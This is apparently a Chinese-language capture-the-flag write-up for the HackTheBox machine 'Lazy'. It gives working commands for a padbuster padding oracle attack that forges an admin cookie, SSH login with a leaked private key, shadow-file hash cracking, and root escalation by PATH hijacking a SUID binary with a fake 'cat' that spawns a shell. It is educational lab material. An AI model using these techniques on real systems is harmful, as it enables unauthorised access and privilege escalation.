Lazy 是一个中等难度的靶机,知识点涉及密文填塞攻击、SSH私钥登录、路径劫持、suid提权等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.18 -oA nmap_Lazy --min-rate=1000
80端口
访问后是一家软件公司的官网,其中包含登录和注册功能
尝试注册用户mac/123456
使用新注册的用户成功登录
截取数据包后发现 Cookie 除了正常的PHPSESSID
外还存在auth
,该参数可能用于辅助用户认证
目录扫描
使用 gobuster 对站点进行目录扫描,扫描结果显示都是常规的网站目录文件
在/classes
目录下找到多个 PHP 文件,但并没找到可利用点
0x02 上线[mitsos]
Cookie分析
截取 Cookie 中auth
参数的值如下,经分析可知采用了某种加密方式。而如果想要证明 Cookie 中是否存储数据,可尝试使用不同长度的用户名进行验证
igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu
截取用户注册数据包如下,修改username
参数验证 Cookie 长度
利用 Python 根据注册用户请求包编写脚本
import random
import requests
import string
import urllib.parse
for i in range(1,30):
username = ''.join(random.choice(string.ascii_letters) for i in range(i))
data = f'username={username}&password=123456&password_again=123456'
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
resp = requests.post('http://10.10.10.18/register.php', allow_redirects=False, data=data, headers=headers)
cookie = urllib.parse.unquote(resp.headers['Set-Cookie'].split("=")[1])
print(username)
print(cookie)
print(f"{i} len: {len(cookie)}")
根据结果可以发现随着用户名长度的增加,Cookie 的长度同样发生了变化,且趋势呈块状递增。当用户名长度为1-2位时,Cookie 长度为24位;当用户名长度为3-10位时,Cookie 长度为32位;当用户名长度为11-18位时,Cookie 长度为44位;当用户名长度为19-26位时,Cookie 长度为56位,由此可以看出规律:用户名长度每增加8位,Cookie 长度就增加固定块
尝试在 Cookie 的auth
参数中添加无效数据,结果显示无效填充,证明 Cookie 中存在某种加密数据
密文填塞攻击
在密码学中密文填塞攻击是指使用密文的填充验证信息来进行解密的攻击方法。这种攻击方式依赖密文是否被正确填充,其常常与分组密码内的密码块链解密模式(CBC)有关。如果用户将加密数据提交给应用程序进行解密,当填充错误的返回信息与解密数据时的返回信息不同时,攻击者有可能恢复整个明文。
想要理解密文填塞攻击不得不提到 PKCS5,这是众多 Padding 标准中应用最广泛的算法,其块大小固定为8个字节,即数据始终会被切割为8个字节的数据块,如果数据不满足8个字节,会根据需要计算填充长度,这个过程会涉及到 CBC 模式,缺失的数据会填入相对应的十六进制:
比如目前存在场景如下:应用服务需要把经加密后的用户数据返回给服务器,服务器根据加密数据来解密验证用户信息,明文信息为BRAIN;12;2
,数据经异或加密后对应传输数据的链接为https://www.example.com/home.jsp?uid=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
,应用加密过程如下:
服务器解密过程如下,其中7B216A634951170F
是加密中间值:
但根据 PKCS5 算法会先判断 padding 值,一旦填充不符合规定就不会去尝试解密密文
因此根据该特性可计算加密中间值,推出加密中间值后再异或能计算出明文信息
了解攻击原理后可借助基于此自动攻击的工具 padbuster,其使用方法如下:
padbuster URL EncryptedSample BlockSize [options]
padbuster 有三种编码方式,其中0表示 base64 编码,1表示小写 hex 编码,2表示大写 hex 编码,选择 base64 编码测试当前环境是否存在漏洞
padbuster http://10.10.10.18/index.php igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu 8 -cookies auth=igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu -encoding 0
经工具分析后存在两个异常请求,其中255请求中返回了15字节,而200请求返回1133字节,可能重定向至登录界面,因此选择ID为2
结果打印成功块的请求,解密后数据为user=mac
,与注册时的用户名一致。添加-plaintext
参数获取加密后 admin 用户的 Cookie
padbuster http://10.10.10.18/index.php igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu 8 -cookies auth=igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu -encoding 0 -plaintext user=admin
利用拿到的 Cookie 成功登录 admin 用户,同时页面提示My Key
是 SSH key
SSH私钥登录
My Key
指向链接http://10.10.10.18/mysshkeywithnamemitsos
,由此推测用户名为mitsos
把文件内容复制为 SSH 私钥,同时赋予其 600 权限
chmod 600 mitsos
利用该私钥成功登录用户
ssh -i mitsos mitsos@10.10.10.18
在当前用户家目录中成功拿到第一个flag
cat user.txt
0x03 权限提升[root]
信息收集
查找带有 suid 的特权文件,其中家目录下的backup
引起了我的注意
find / -perm -u=s -type f 2>/dev/null
运行backup
显示/etc/shadow
的内容,该文件只有 root 才可读
./backup
尝试使用 hashcat 破解其中的哈希值,但并没有什么结果
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt --force
路径劫持
使用 ltrace 跟踪backup
程序运行时进程调用库函数的情况,程序首先调用命令system("cat /etc/shadow")
,但由于权限问题导致失败,这是因为 ltrace 删除了 suid 权限,导致程序无法临时拥有 root 权限
ltrace ./backup
其中存在一个漏洞:cat 命令没有在完整路径的情况下被调用,也就意味着我们可以利用$PATH
环境变量来修改名为cat
的可执行文件,在默认情况下$PATH
内容如下:
echo $PATH
在/tmp
目录下创建名为cat
的文件,其内容如下:
#!/bin/sh
id
赋予cat
可执行权限
chmod +x cat
添加目录/tmp
至$PATH
环境变量当中
PATH=/tmp:$PATH
echo $PATH
再次执行backup
成功通过路径劫持运行/tmp/cat
并打印用户ID
./backup
替换cat
文件中执行命令为/bin/sh
#!/bin/sh
/bin/sh
再次运行成功拥有 root 用户权限
./backup
当然 cat 命令已经无法用于文件读取,该问题有两种解决方式,一是利用同类文件读取命令替代,比如less
、grep
、vim
等;二是修改回原来的环境变量。这里选择使用前者读取第二个flag
head /root/root.txt
0x04 总结
Lazy 译为懒惰的,通过信息收集发现目标站点存在注册和登录功能,尝试注册测试用户mac
,经分析后判断 Cookie 可能存有数据。对站点进行目录扫描,结果只有常规的目录文件,并没有发现可利用点。由于 Cookie 的auth
参数使用了某种加密算法,编写脚本利用不同长度的用户名进行注册,发现随着用户名长度的递增auth
长度也存在块递增,使用 padbuster 进行密文填塞攻击可拿到admin
用户的 Cookie,登录后在用户界面中存在 SSH 私钥的下载地址,其中包含所需的用户名,利用该私钥成功登录目标 SSH。
在服务器中使用命令收集存在 suid 的文件,其中backup
吸引了我的注意,执行后会显示/etc/shadow
的内容。分析该程序可知它首先执行了命令cat /etc/shadow
,但这里存在漏洞:由于cat
命令没有使用完整路径,因此可利用环境变量$PATH
修改cat
所执行的内容。在环境变量$PATH
中添加新建恶意可执行文件cat
所在目录,再次运行程序就能借助路径劫持完成 suid 提权,最终成功拿到第二个flag。